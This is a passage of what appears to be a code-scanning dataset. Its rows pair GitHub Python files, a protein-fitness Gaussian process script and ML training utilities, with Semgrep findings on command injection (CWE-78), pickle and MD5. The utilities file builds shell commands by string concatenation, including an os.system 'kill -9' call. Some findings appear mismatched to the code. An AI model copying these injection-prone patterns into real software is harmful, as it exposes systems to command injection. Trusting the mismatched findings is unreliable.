system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "LOW", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.audit.dangerous-system-call-tainted-env-args_aba314a3eb828596_94bdfb13", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "remediation": "", "location": {"file_path": "unknown", "line_start": 49, "line_end": 49, "column_start": 5, "column_end": 81, "code_snippet": "requires login"}, "cwe_id": "CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A01:2017 - Injection", "references": [{"url": "https://semgrep.dev/docs/cheat-sheets/python-command-injection/", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.dangerous-system-call-tainted-env-args", "path": "/tmp/tmpr7mo7ysm/aba314a3eb828596.py", "start": {"line": 49, "col": 5, "offset": 1849}, "end": {"line": 49, "col": 81, "offset": 1925}, "extra": {"message": "Found user-controlled data used in a system call. This could allow a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/plugins/b605_start_process_with_a_shell.html", "cwe": ["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')"], "owasp": ["A01:2017 - Injection", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://semgrep.dev/docs/cheat-sheets/python-command-injection/"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "confidence": "MEDIUM", "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "MEDIUM", "impact": "HIGH"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 6 | true | [
"CWE-78",
"CWE-78"
] | [
"rules.python.lang.security.audit.dangerous-system-call-audit",
"rules.python.lang.security.audit.dangerous-system-call-tainted-env-args"
] | [
"security",
"security"
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | [
49,
49
] | [
49,
49
] | [
5,
5
] | [
81,
81
] | [
"A01:2017 - Injection",
"A01:2017 - Injection"
] | [
"Found dynamic content used in a system call. This is dangerous if external data can reach this function call because it allows a malicious actor to execute commands. Use the 'subprocess' module instead, which is easier to use without accidentally exposing a command injection vulnerability.",
"Found user-controll... | [
7.5,
7.5
] | [
"LOW",
"MEDIUM"
] | [
"HIGH",
"HIGH"
] | sample2.py | /myProject/sample2.py | trunnelben/dayEventPlanner | MIT | |
2024-11-18T20:18:56.984429+00:00 | 1,595,010,160,000 | f05f78f15af5b15490f0d3d19133f58a46ab398a | 3 | {
"blob_id": "f05f78f15af5b15490f0d3d19133f58a46ab398a",
"branch_name": "refs/heads/master",
"committer_date": 1595010160000,
"content_id": "4b742b34742b5ba72eeae27e878d9fb122c3a90d",
"detected_licenses": [
"MIT"
],
"directory_id": "81a4bc05e315710e19a7eb716bbbc7284ab0f438",
"extension": "py",
"filename": "gpr.py",
"fork_events_count": 0,
"gha_created_at": 1567802841000,
"gha_event_created_at": 1595010162000,
"gha_language": "Python",
"gha_license_id": "MIT",
"github_id": 206871504,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 4981,
"license": "MIT",
"license_type": "permissive",
"path": "/examples/gb1/gpr.py",
"provenance": "stack-edu-0054.json.gz:578436",
"repo_name": "ayushkarnawat/profit",
"revision_date": 1595010160000,
"revision_id": "f3c4d601078b52513af6832c3faf75ddafc59ac5",
"snapshot_id": "bd754ddd49948b6154c485f19543232c8fbb137b",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/ayushkarnawat/profit/f3c4d601078b52513af6832c3faf75ddafc59ac5/examples/gb1/gpr.py",
"visit_date": "2022-11-22T05:39:35.759433"
} | 2.640625 | stackv2 | """Generic gaussian process regressor (GPR) on 3GB1 fitness dataset."""
import os
import time
import pickle as pkl
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import torch
from torch.utils.data import Subset
from sklearn.gaussian_process import GaussianProcessRegressor
from sklearn.gaussian_process.kernels import RBF, ConstantKernel as C
from profit.dataset.splitters import split_method_dict
from profit.models.torch.gpr import SequenceGPR
from profit.utils.data_utils.tokenizers import AminoAcidTokenizer
from data import load_dataset
timestep = time.strftime("%Y-%b-%d-%H:%M:%S", time.gmtime())
use_substitution = True # use aa substitution kernel (does not learn params)
save_model = False # save gp model
savedir = "bin/3gb1/gpr" # dir for saving model
plot_seq = False # plot amino acid seq as xticks
# Preprocess + load the dataset
dataset = load_dataset("lstm", "primary", labels="Fitness", num_data=-1,
filetype="mdb", as_numpy=False, vocab="aa20")
_dataset = dataset[:]["arr_0"]
_labels = dataset[:]["arr_1"].view(-1)
# Remove samples below a certain threshold
high_idx = torch.where(_labels > _labels.mean())
dataset = Subset(dataset, sorted(high_idx))
_dataset = _dataset[high_idx]
_labels = _labels[high_idx]
# Shuffle, split, and batch
splits = {"train": 1.0, "valid": 0.0}
subset_idx = split_method_dict["stratified"]().train_valid_split(
_dataset, _labels.tolist(), frac_train=splits.get("train", 1.0),
frac_valid=splits.get("valid", 0.0), n_bins=10, return_idxs=True)
stratified = {split: Subset(dataset, sorted(idx))
for split, idx in zip(splits.keys(), subset_idx)}
train_X, train_y = stratified["train"][:].values()
# Instantiate a Gaussian Process model
if use_substitution:
gp = SequenceGPR()
else:
kernel = C(1.0, (1e-3, 1e3)) * RBF(10, (1e-2, 1e2))
gp = GaussianProcessRegressor(kernel=kernel, n_restarts_optimizer=9)
# Fit to data; optimize kernel params using Maximum Likelihood Estimation (MLE)
gp.fit(train_X, train_y)
# Save GPR
if save_model:
os.makedirs(savedir, exist_ok=True)
filepath = os.path.join(savedir, f"{timestep}.pt")
_ = gp.save(filepath) if use_substitution else pkl.dumps(gp, filepath)
# Make prediction (mu) on whole sample space (ask for std as well)
y_pred, sigma = gp.predict(_dataset, return_std=True)
if isinstance(y_pred, torch.Tensor):
y_pred = y_pred.numpy()
if isinstance(sigma, torch.Tensor):
sigma = sigma.numpy()
tokenizer = AminoAcidTokenizer("aa20")
pos = [38, 39, 40, 53]
df = pd.DataFrame({
"is_train": [1 if idx in subset_idx[0] else 0 for idx in range(len(dataset))],
"seq": ["".join(tokenizer.decode(seq)) for seq in _dataset[:, pos].numpy()],
"true": _labels.numpy(),
"pred": y_pred.flatten(),
"sigma": sigma.flatten(),
})
# If x-axis labels are seq, sort df by seq (in alphabetical order) for "better"
# visualization; if plotting via index, no need for resorting.
if plot_seq:
df = df.sort_values("seq", ascending=True)
train_only = df.loc[df["is_train"] == 1]
valid_only = df.loc[df["is_train"] == 0]
# Determine how well the regressor fit to the dataset
train_mse = np.mean(np.square((train_only["pred"] - train_only["true"])))
valid_mse = np.mean(np.square((valid_only["pred"] - valid_only["true"])))
print(f"Train MSE: {train_mse}\t Valid MSE: {valid_mse}")
# Plot observations, prediction and 95% confidence interval (2\sigma).
# NOTE: We plot the whole sequence to avoid erratic line jumps
plt.figure()
if plot_seq:
# If using mutated chars amino acid seq as the xtick labels
plt.plot(df["seq"].values, df["pred"].values, "b-", label="Prediction")
plt.plot(df["seq"].values, df["true"].values, "r:", label="True")
plt.plot(train_only["seq"].values, train_only["true"].values, "r.",
markersize=10, label="Observations")
plt.fill(np.concatenate([df["seq"].values, df["seq"].values[::-1]]),
np.concatenate([df["pred"].values - 1.9600 * df["sigma"].values,
(df["pred"].values + 1.9600 * df["sigma"].values)[::-1]]),
alpha=.5, fc="b", ec="None", label="95% confidence interval")
plt.xticks(rotation=90)
else:
# If using index as the x-axis
plt.plot(df.index, df["pred"].values, "b-", label="Prediction")
plt.plot(df.index, df["true"].values, "r:", label="True")
plt.plot(train_only.index, train_only["true"].values, "r.",
markersize=10, label="Observations")
plt.fill(np.concatenate([df.index, df.index[::-1]]),
np.concatenate([df["pred"].values - 1.9600 * df["sigma"].values,
(df["pred"].values + 1.9600 * df["sigma"].values)[::-1]]),
alpha=.5, fc="b", ec="None", label="95% confidence interval")
plt.xlabel("Sequence ($x$)")
plt.ylabel("Fitness ($y$)")
plt.title("Predicting protein fitness using GPR (PDB: 3GB1)")
plt.legend(loc="upper left")
plt.show()
| 123 | 39.5 | 87 | 18 | 1,361 | python | [{"finding_id": "semgrep_rules.python.lang.security.deserialization.avoid-pickle_4c93ecf1bf93ccbf_36851cd2", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.deserialization.avoid-pickle", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "remediation": "", "location": {"file_path": "unknown", "line_start": 64, "line_end": 64, "column_start": 52, "column_end": 75, "code_snippet": "requires login"}, "cwe_id": "CWE-502: Deserialization of Untrusted Data", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A08:2017 - Insecure Deserialization", "references": [{"url": "https://docs.python.org/3/library/pickle.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.deserialization.avoid-pickle", "path": "/tmp/tmpr7mo7ysm/4c93ecf1bf93ccbf.py", "start": {"line": 64, "col": 52, "offset": 2245}, "end": {"line": 64, "col": 75, "offset": 2268}, "extra": {"message": "Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format.", "metadata": {"owasp": ["A08:2017 - Insecure Deserialization", "A08:2021 - Software and Data Integrity Failures", "A08:2025 - Software or Data Integrity Failures"], "cwe": ["CWE-502: Deserialization of Untrusted Data"], "references": ["https://docs.python.org/3/library/pickle.html"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}] | 1 | true | [
"CWE-502"
] | [
"rules.python.lang.security.deserialization.avoid-pickle"
] | [
"security"
] | [
"LOW"
] | [
"MEDIUM"
] | [
64
] | [
64
] | [
52
] | [
75
] | [
"A08:2017 - Insecure Deserialization"
] | [
"Avoid using `pickle`, which is known to lead to code execution vulnerabilities. When unpickling, the serialized data could be manipulated to run arbitrary code. Instead, consider serializing the relevant data as JSON or a similar text-based serialization format."
] | [
5
] | [
"LOW"
] | [
"MEDIUM"
] | gpr.py | /examples/gb1/gpr.py | ayushkarnawat/profit | MIT | |
2024-11-18T20:18:58.920682+00:00 | 1,612,685,869,000 | 4caabe5c450420a1b51892500f2cda5936288fee | 3 | {
"blob_id": "4caabe5c450420a1b51892500f2cda5936288fee",
"branch_name": "refs/heads/master",
"committer_date": 1612685869000,
"content_id": "635c233e7124897c12e63f1ffeacc5ef1ab74368",
"detected_licenses": [
"MIT"
],
"directory_id": "33e1cbd218088a1f1a703ca90684d8e4cd8ef3c0",
"extension": "py",
"filename": "utils.py",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": null,
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7566,
"license": "MIT",
"license_type": "permissive",
"path": "/examples/trials/network_morphism/imagenet/utils.py",
"provenance": "stack-edu-0054.json.gz:578465",
"repo_name": "shijun18/AIPerf",
"revision_date": 1612685869000,
"revision_id": "8186d150b976481688c43b61b3a272ba310063fe",
"snapshot_id": "98d58ad70714be854ff94ec76f9e88ec9665f1cb",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/shijun18/AIPerf/8186d150b976481688c43b61b3a272ba310063fe/examples/trials/network_morphism/imagenet/utils.py",
"visit_date": "2023-03-10T19:26:38.429150"
} | 2.515625 | stackv2 | # Copyright (c) Microsoft Corporation
# Copyright (c) Peng Cheng Laboratory
# All rights reserved.
#
# MIT License
#
# Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
# documentation files (the "Software"), to deal in the Software without restriction, including without limitation
# the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and
# to permit persons to whom the Software is furnished to do so, subject to the following conditions:
# The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED *AS IS*, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING
# BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
# DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
import numpy as np
import os
import psutil
import hashlib
import time
from tensorflow.python.client import device_lib as _device_lib
from numpy import log2
from scipy.optimize import curve_fit
class EarlyStopping:
""" EarlyStopping class to keep NN from overfitting
"""
# pylint: disable=E0202
def __init__(self, mode="min", min_delta=0, patience=10, percentage=False):
self.mode = mode
self.min_delta = min_delta
self.patience = patience
self.best = None
self.num_bad_epochs = 0
self.is_better = None
self._init_is_better(mode, min_delta, percentage)
if patience == 0:
self.is_better = lambda a, b: True
self.step = lambda a: False
def step(self, metrics):
""" EarlyStopping step on each epoch
Arguments:
metrics {float} -- metric value
"""
if self.best is None:
self.best = metrics
return False
if np.isnan(metrics):
return True
if self.is_better(metrics, self.best):
self.num_bad_epochs = 0
self.best = metrics
else:
self.num_bad_epochs += 1
if self.num_bad_epochs >= self.patience:
return True
return False
def _init_is_better(self, mode, min_delta, percentage):
if mode not in {"min", "max"}:
raise ValueError("mode " + mode + " is unknown!")
if not percentage:
if mode == "min":
self.is_better = lambda a, best: a < best - min_delta
if mode == "max":
self.is_better = lambda a, best: a > best + min_delta
else:
if mode == "min":
self.is_better = lambda a, best: a < best - (best * min_delta / 100)
if mode == "max":
self.is_better = lambda a, best: a > best + (best * min_delta / 100)
def trial_activity(file_path, ppid):
'''判断当前trial是否为卡死状态,如果为卡死状态则直接结束该trial;判断调条件为:
每隔2.5分钟获取一次:
1.trial对应的trial.log的哈希值判断是否相等;
2.获取trial进程的cpu占用,如果连续10秒都为0,则判断为0;
3.获取trial进程的所有gpu占用,如果连续5秒所有gpu都为0,则判断为0;
以上条件连续三次都成立则判断trial为卡死状态。
'''
def get_md5(file_path):
'''获取日志文件的哈希值'''
m = hashlib.md5()
with open(file_path, 'rb') as f:
for line in f:
m.update(line)
md5code = m.hexdigest()
return md5code
def ppid_cpu_info(ppid):
'''判断主进程cpu占用是否为0,如果不为0则返回1,连续采样10秒都为0,则返回0'''
p_info = psutil.Process(ppid)
for i in range(10):
if p_info.cpu_percent() != 0:
return 1
time.sleep(1)
return 0
def ppid_gpu_info():
'''判断主进程所占用的gpu使用率是否为0,如果不为0则返回1,连续采样5秒都为0,则返回0'''
local_device_protos = _device_lib.list_local_devices()
# 获取当前进程可用的gpu索引
index = ','.join([x.name.split(':')[2] for x in local_device_protos if x.device_type == 'GPU'])
for i in range(5):
gpu_info = os.popen(
"nvidia-smi dmon -c 1 -s u -i " + index + "|awk '{if($1 ~ /^[0-9]+$/){print $2}}'").readlines()
for i in gpu_info:
if int(i.strip()) != 0:
return 1
time.sleep(1)
return 0
sample_interval = 2.5 * 60
while True:
before_md5 = get_md5(file_path)
before_cpu = ppid_cpu_info(ppid)
before_gpu = ppid_gpu_info()
time.sleep(sample_interval)
if before_cpu != 0 or before_gpu != 0:
continue
after_md5 = get_md5(file_path)
after_cpu = ppid_cpu_info(ppid)
after_gpu = ppid_gpu_info()
time.sleep(sample_interval)
if after_cpu != 0 or after_gpu != 0:
continue
elif before_md5 == after_md5:
latest_md5 = get_md5(file_path)
latest_cpu = ppid_cpu_info(ppid)
latest_gpu = ppid_gpu_info()
if after_md5 == latest_md5 and after_cpu == latest_cpu and after_gpu == latest_gpu:
break
else:
time.sleep(sample_interval)
os.system('kill -9 ' + str(ppid))
def predict_acc(tid, epoch_x, acc_y, epoch=75, saveflag=False, totaly=[]):
"""
Parameters
----------
epoch_x: epoch列表
acc_y:epoch对应的acc列表
epoch:待预测acc的epoch数
drawflag:是否将预测图保存
totaly
Returns 预测epoch数的acc结果
-------
"""
def logfun(x, a, b, c):
x = np.array(x)
y = a * log2(x + b) + c
return y
epoch_x = list(epoch_x)
acc_y = list(acc_y)
epoch_x.append(120)
acc_y.append(0.75)
popt, pcov = curve_fit(logfun, epoch_x, acc_y, maxfev=100000)
acc_y_true_numformat = np.array(acc_y, dtype=float)
acc_y_predict = logfun(epoch_x, popt[0], popt[1], popt[2])
error = np.sqrt(np.sum(np.square(np.subtract(acc_y_true_numformat, acc_y_predict))) / len(acc_y_predict))
# print(error)
acc_epoch_target = logfun(epoch, popt[0], popt[1], popt[2])
acc_epoch_target_minus_error = acc_epoch_target - 2 * error
if acc_epoch_target_minus_error < max(acc_y[:-1]) or acc_epoch_target_minus_error > 1:
acc_epoch_target = max(acc_y[:-1])
labletxt = "x-%d,no-pred,wpred-%5.3f,max-%5.3f,err-%5.3f,l-%s" % (
epoch, acc_epoch_target_minus_error, acc_epoch_target, error, str(len(acc_y)))
else:
acc_epoch_target = acc_epoch_target_minus_error
labletxt = "x-%d,use-pred, tpred%5.3f,err-%5.3f,l-%s" % (epoch, acc_epoch_target, error, str(len(acc_y)))
print("Predicted_val_acc:"+str(acc_epoch_target))
return acc_epoch_target
def MinGpuMem():
gpu_mem_list = os.popen("nvidia-smi --query-gpu=memory.total --format=csv,noheader,nounits").readlines()
gpu_mem_list = list(map(lambda x:int(x.strip()), gpu_mem_list))
min_gpu_mem = round(min(gpu_mem_list)/1024.0)
return int(min_gpu_mem)
| 205 | 33.66 | 128 | 19 | 1,937 | python | [{"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8212399854be3a11_8613ac58", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 40, "line_end": 40, "column_start": 9, "column_end": 23, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 40, "col": 9, "offset": 1708}, "end": {"line": 40, "col": 23, "offset": 1722}, "extra": {"message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8212399854be3a11_481c71a4", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 13, "column_end": 27, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 44, "col": 13, "offset": 1827}, "end": {"line": 44, "col": 27, "offset": 1841}, "extra": {"message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.return-in-init_8212399854be3a11_c8cab3ed", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.return-in-init", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "`return` should never appear inside a class __init__ function. This will cause a runtime error.", "remediation": "", "location": {"file_path": "unknown", "line_start": 44, "line_end": 44, "column_start": 43, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.return-in-init", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 44, "col": 43, "offset": 1857}, "end": {"line": 44, "col": 47, "offset": 1861}, "extra": {"message": "`return` should never appear inside a class __init__ function. This will cause a runtime error.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.correctness.return-in-init_8212399854be3a11_6ae55423", "tool_name": "semgrep", "rule_id": "rules.python.lang.correctness.return-in-init", "finding_type": "correctness", "severity": "high", "confidence": "medium", "message": "`return` should never appear inside a class __init__ function. This will cause a runtime error.", "remediation": "", "location": {"file_path": "unknown", "line_start": 45, "line_end": 45, "column_start": 35, "column_end": 40, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.correctness.return-in-init", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 45, "col": 35, "offset": 1896}, "end": {"line": 45, "col": 40, "offset": 1901}, "extra": {"message": "`return` should never appear inside a class __init__ function. This will cause a runtime error.", "metadata": {"category": "correctness", "technology": ["python"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8212399854be3a11_d222aa66", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 76, "line_end": 76, "column_start": 17, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 76, "col": 17, "offset": 2693}, "end": {"line": 76, "col": 31, "offset": 2707}, "extra": {"message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8212399854be3a11_2180e915", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 78, "line_end": 78, "column_start": 17, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 78, "col": 17, "offset": 2793}, "end": {"line": 78, "col": 31, "offset": 2807}, "extra": {"message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8212399854be3a11_ef9bc504", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 81, "line_end": 81, "column_start": 17, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 81, "col": 17, "offset": 2907}, "end": {"line": 81, "col": 31, "offset": 2921}, "extra": {"message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.maintainability.is-function-without-parentheses_8212399854be3a11_228358e6", "tool_name": "semgrep", "rule_id": "rules.python.lang.maintainability.is-function-without-parentheses", "finding_type": "maintainability", "severity": "medium", "confidence": "medium", "message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "remediation": "", "location": {"file_path": "unknown", "line_start": 83, "line_end": 83, "column_start": 17, "column_end": 31, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.maintainability.is-function-without-parentheses", "path": "/tmp/tmpr7mo7ysm/8212399854be3a11.py", "start": {"line": 83, "col": 17, "offset": 3022}, "end": {"line": 83, "col": 31, "offset": 3036}, "extra": {"message": "Is \"is_better\" a function or an attribute? If it is a function, you may have meant self.is_better() because self.is_better is always true.", "metadata": {"category": "maintainability", "technology": ["python"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.insecure-hash-algorithm-md5_8212399854be3a11_3c4e379e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.insecure-hash-algorithm-md5", "finding_type": "security", "severity": "medium", "confidence": "medium", "message": "Detected MD5 hash algorithm which is considered insecure. MD5 is not collision resistant and is therefore not suitable as a cryptographic signature. Use SHA256 or SHA3 instead.", "remediation": "", "location": {"file_path": "unknown", "line_start": 97, "line_end": 97, "column_start": 13, "column_end": 26, "code_snippet": "requires login"}, "cwe_id": "CWE-327: Use of a Broken or Risky Cryptographic Algorithm", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://www.schneier.com/blog/archives/2012/10/when_will_we_se.html", "title": null}, {"url": "https://www.trendmicro.com/vinfo/us/security/news/vulnerabilities-and-exploits/sha-1-collision-signals-the-end-of-the-algorithm-s-viability", "title": null}, {"url": "http://2012.sharcs.org/slides/stevens.pdf", "title": null}, {"url": "https://pycryptodome.readthedocs.io/en/latest/src/hash/sha3_256.html", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": 